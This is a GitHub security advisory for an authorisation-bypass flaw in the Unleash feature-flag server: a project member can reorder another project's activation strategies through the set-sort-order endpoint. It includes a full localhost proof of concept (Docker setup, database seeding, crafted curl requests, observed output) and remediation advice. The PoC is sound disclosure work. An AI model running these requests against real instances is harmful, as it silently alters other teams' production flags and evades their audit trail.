{"id":"GHSA-5ffh-6f9q-5hhr","summary":"Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log","details":"## Summary\n\nUnleash scopes write permissions per project and per environment: a user with the `UPDATE_FEATURE_STRATEGY` permission on project `A` is supposed to be able to mutate activation strategies only within project `A`. The endpoint `POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order` violates this. The RBAC middleware authorizes the request against the `:projectId` taken from the URL, but the handler then writes the strategy IDs supplied in the request *body* directly to the database by primary key, **without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment**. A low-privilege member of any one project can therefore reorder the activation strategies of features in *any other project and environment* — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.\n\nThe sibling write paths in the same service (`updateStrategy`, `patchStrategy`, `deleteStrategy`) all call `validateUpdatedProperties()`, which rejects a strategy whose stored `projectId`/`featureName` does not match the URL context. The `set-sort-order` handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy \"wins\" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the *attacker's* project/feature context, so the tampering does not appear in the victim project's audit trail.\n\n## Affected code (v8.0.0)\n\nThe route is registered with the project-scoped permission `UPDATE_FEATURE_STRATEGY` (correct), and the handler forwards the URL params as the \"context\" plus the raw request body:\n\n`src/lib/features/feature-toggle/feature-toggle-controller.ts`\n```ts\n{\n    method: 'post',\n    path: `${PATH_STRATEGIES}/set-sort-order`,\n    handler: this.setStrategiesSortOrder,\n    permission: UPDATE_FEATURE_STRATEGY,\n    // ...\n}\n\nasync setStrategiesSortOrder(req, res): Promise\u003cvoid\u003e {\n    const { featureName, projectId, environment } = req.params;\n    await this.transactionalFeatureToggleService.transactional((service) =\u003e\n        service.updateStrategiesSortOrder(\n            { featureName, environment, projectId },   // URL context only\n            req.body,                                   // attacker-controlled [{id, sortOrder}]\n            req.audit,\n        ),\n    );\n    res.status(200).send();\n}\n```\n\nThe service writes each body-supplied `id` directly. It reads the URL-context strategies only to build the audit-event payload (`existingOrder`/`newOrder`); it never validates that the IDs in `sortOrders` belong to that context:\n\n`src/lib/features/feature-toggle/feature-toggle-service.ts`\n```ts\nasync unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise\u003cSaved\u003cany\u003e\u003e {\n    const { featureName, environment, projectId: project } = context;\n    const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment))\n        .sort(sortStrategies).map((s) =\u003e s.id);\n    // ...\n    await Promise.all(\n        sortOrders.map(({ id, sortOrder }) =\u003e\n            this.featureStrategiesStore.updateSortOrder(id, sortOrder),   // NO project/feature/env check\n        ),\n    );\n    // ...event built from the URL context, not from the strategies actually mutated...\n}\n```\n\nThe store updates by primary key with no scoping predicate:\n\n`src/lib/features/feature-toggle/feature-toggle-strategies-store.ts`\n```ts\nasync updateSortOrder(id: string, sortOrder: number): Promise\u003cvoid\u003e {\n    await this.db\u003cIFeatureStrategiesTable\u003e(T.featureStrategies)\n        .where({ id })\n        .update({ sort_order: sortOrder });\n}\n```\n\nContrast the sibling mutators, which DO bind the target strategy to the URL context (`validateUpdatedProperties` throws `InvalidOperationError` when `existingStrategy.projectId !== projectId` or `existingStrategy.featureName !== featureName`):\n\n```ts\n// unprotectedUpdateStrategy / patchStrategy / deleteStrategy:\nconst existingStrategy = await this.featureStrategiesStore.get(id);\nthis.validateUpdatedProperties(context, existingStrategy);   // \u003c-- the check set-sort-order is missing\n```\n\n## Attacker model / precondition\n\nThe attacker is an authenticated Unleash user who holds the `UPDATE_FEATURE_STRATEGY` permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single `default` project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within `default`). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the `stopWhenChangeRequestsEnabled` gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the `sort_order` column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.\n\n## Impact\n\nA project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive `flexibleRollout`/`default` strategy ahead of a restrictive `userWithId`/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no `feature-strategy-update` event for the victim feature at all), hampering detection and forensics.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab only. Everything binds to `127.0.0.1`; no hosted instance is touched. Requires Docker.\n\n### 1. Start PostgreSQL and Unleash v8.0.0\n\n```bash\ndocker network create unleash-poc\n\ndocker run -d --name unleash-pg --network unleash-poc \\\n  -e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \\\n  postgres:16-alpine\nsleep 8\n\ndocker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \\\n  -e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \\\n  -e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \\\n  -e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \\\n  unleashorg/unleash-server:8.0.0\nsleep 25\ncurl -s http://127.0.0.1:4242/health    # {\"health\":\"GOOD\"}\n```\n\n### 2. Simulate a Pro/Enterprise (multi-project) deployment\n\nPer-project roles and \u003e1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the `default` project via an unrelated edition gate (`resolveIsOss`). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable `set-sort-order` code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.\n\n```bash\n# Force resolveIsOss() to return false (== \"this is a Pro/Enterprise deployment\").\ndocker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js\npython3 - \u003c\u003c'PY'\ns=open('/tmp/cc.js').read()\nold=\"\"\"    return testEnvironmentActive\n        ? (isOssOption ?? false)\n        : !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';\"\"\"\nassert old in s\ns=s.replace(old,\"    return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)\")\nopen('/tmp/cc.js','w').write(s)\nprint(\"patched edition gate\")\nPY\ndocker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js\ndocker restart unleash-srv && sleep 22\n```\n\n### 3. Seed two projects (`victim`, `attacker`) and link them to environments\n\n```bash\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');\"\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO project_environments (project_id, environment_name) VALUES\n   ('victim','development'),('victim','production'),\n   ('attacker','development'),('attacker','production');\"\n```\n\n### 4. Create the victim feature with two strategies, and an attacker feature\n\n```bash\nB=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'\nH=\"-H Authorization:$ADMIN -H Content-Type:application/json\"\n\ncurl -s -X POST $H $B/api/admin/projects/victim/features -d '{\"name\":\"victimFlag\",\"type\":\"release\"}' \u003e/dev/null\nS1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d '{\"name\":\"flexibleRollout\",\"parameters\":{\"rollout\":\"10\",\"stickiness\":\"default\",\"groupId\":\"victimFlag\"}}' \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)['id'])\")\nS2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d '{\"name\":\"default\",\"parameters\":{}}' \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)['id'])\")\necho \"victim strategies: S1=$S1 (sort 0)  S2=$S2 (sort 1)\"\n\ncurl -s -X POST $H $B/api/admin/projects/attacker/features -d '{\"name\":\"attackerFlag\",\"type\":\"release\"}' \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \\\n     -d '{\"name\":\"default\",\"parameters\":{}}' \u003e/dev/null\n```\n\n### 5. Create a low-privilege attacker user (`Member` of `attacker` ONLY, no role on `victim`)\n\n```bash\n# Viewer root role (id 3) -\u003e no project write anywhere by default.\ncurl -s -X POST $H $B/api/admin/user-admin \\\n  -d '{\"email\":\"mallory@example.com\",\"name\":\"Mallory\",\"rootRole\":3}' \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/user-admin/2/change-password \\\n  -d '{\"password\":\"Str0ng-PoC-pass!9x\"}' \u003e/dev/null\n\n# Grant the project \"Member\" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only.\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');\"\ndocker restart unleash-srv && sleep 22     # pick up the seeded role\n```\n\n### 6. Run the attack\n\n```bash\nB=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'\nCJ=/tmp/mallory.cookies; rm -f $CJ\n\n# Log in as the low-priv user (Member of 'attacker' only).\ncurl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \\\n  $B/auth/simple/login -d '{\"username\":\"mallory@example.com\",\"password\":\"Str0ng-PoC-pass!9x\"}'\n\nshow() { curl -s -H \"Authorization:$ADMIN\" \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n  | python3 -c \"import sys,json;[print('   ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]\"; }\n\necho '--- victim/production BEFORE ---'; show\n\necho '--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---'\ncurl -s -o /dev/null -w '    HTTP %{http_code}\\n' -b $CJ -X POST -H 'Content-Type: application/json' \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":99}]\"\n\necho '--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---'\ncurl -s -o /dev/null -w '    HTTP %{http_code}\\n' -b $CJ -X POST -H 'Content-Type: application/json' \\\n  $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":42},{\\\"id\\\":\\\"$S2\\\",\\\"sortOrder\\\":7}]\"\n\necho '--- victim/production AFTER ---'; show\n```\n\n### Observed output\n\n```\n--- victim/production BEFORE ---\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 0\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1\n--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---\n    HTTP 403\n--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---\n    HTTP 200\n--- victim/production AFTER ---\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 42\n```\n\nThe negative control proves RBAC correctly denies Mallory a *direct* write to `victim` (403). The attack proves that by naming her own `attacker` project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no `feature-strategy-update` event was recorded for `victimFlag`, so the tampering is absent from the victim's audit trail.\n\n### Cleanup\n\n```bash\ndocker rm -f unleash-srv unleash-pg; docker network rm unleash-poc\n```\n\n## Remediation\n\nIn `unprotectedUpdateStrategiesSortOrder`, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing `validateUpdatedProperties(context, strategy)` guard (the same one `updateStrategy`/`patchStrategy`/`deleteStrategy` already use) so a mismatched `projectId`/`featureName` throws; or (2) reject any `sortOrders` entry whose ID is not present in `existingOrder` (the set of strategy IDs that genuinely belong to `{project, featureName, environment}`), which the function already computes. Additionally, scope the store write — `updateSortOrder` should constrain the `UPDATE` with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.\n\nPlease credit 5ud0 / Tarmo Technologies.","aliases":["CVE-2026-77425"],"modified":"2026-09-22T21:00:05.641811593Z","published":"2026-09-22T20:36:39Z","database_specific":{"cwe_ids":["CWE-639","CWE-863"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-22T20:36:39Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/Unleash/unleash/security/advisories/GHSA-5ffh-6f9q-5hhr"},{"type":"WEB","url":"https://github.com/Unleash/unleash/commit/43e8db37b846921c8a94db58b44935ecbd15d9d1"},{"type":"PACKAGE","url":"https://github.com/Unleash/unleash"},{"type":"WEB","url":"https://github.com/Unleash/unleash/releases/tag/v8.0.3"}],"affected":[{"package":{"name":"unleash-server","ecosystem":"npm","purl":"pkg:npm/unleash-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-5ffh-6f9q-5hhr/GHSA-5ffh-6f9q-5hhr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]}